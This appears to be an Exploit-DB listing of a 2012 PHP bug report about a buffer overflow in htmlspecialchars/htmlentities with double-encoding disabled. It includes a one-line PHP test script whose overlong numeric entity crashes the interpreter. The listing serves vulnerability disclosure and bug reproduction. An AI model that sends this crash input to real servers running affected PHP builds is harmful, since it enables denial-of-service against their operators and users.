PHP 5.4SVN-2012-02-03 - htmlspecialchars/entities Buffer Overflow

EDB-ID:

18458

CVE:

EDB Verified:

Author:

cataphract

Type:

dos

Exploit: /

Platform:

PHP

Date:

2012-02-03

Vulnerable App:

From:             cataphract
Operating system: Any
PHP version:      5.4SVN-2012-02-03 (SVN)
Package:          Reproducible crash
Bug Type:         Bug
Bug description:Buffer overflow on htmlspecialchars/entities with $double=false

Description:
------------
Long entities can cause a buffer overflow because the loop only guarantees
40 bytes available in beginning.

Test script:
---------------
<?php
echo
htmlspecialchars('"""""""""""""""""""""""""""""""""""""""""""""&#x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005;',
ENT_QUOTES, 'UTF-8', false), "\n";

Tags:

Advisory/Source: Link

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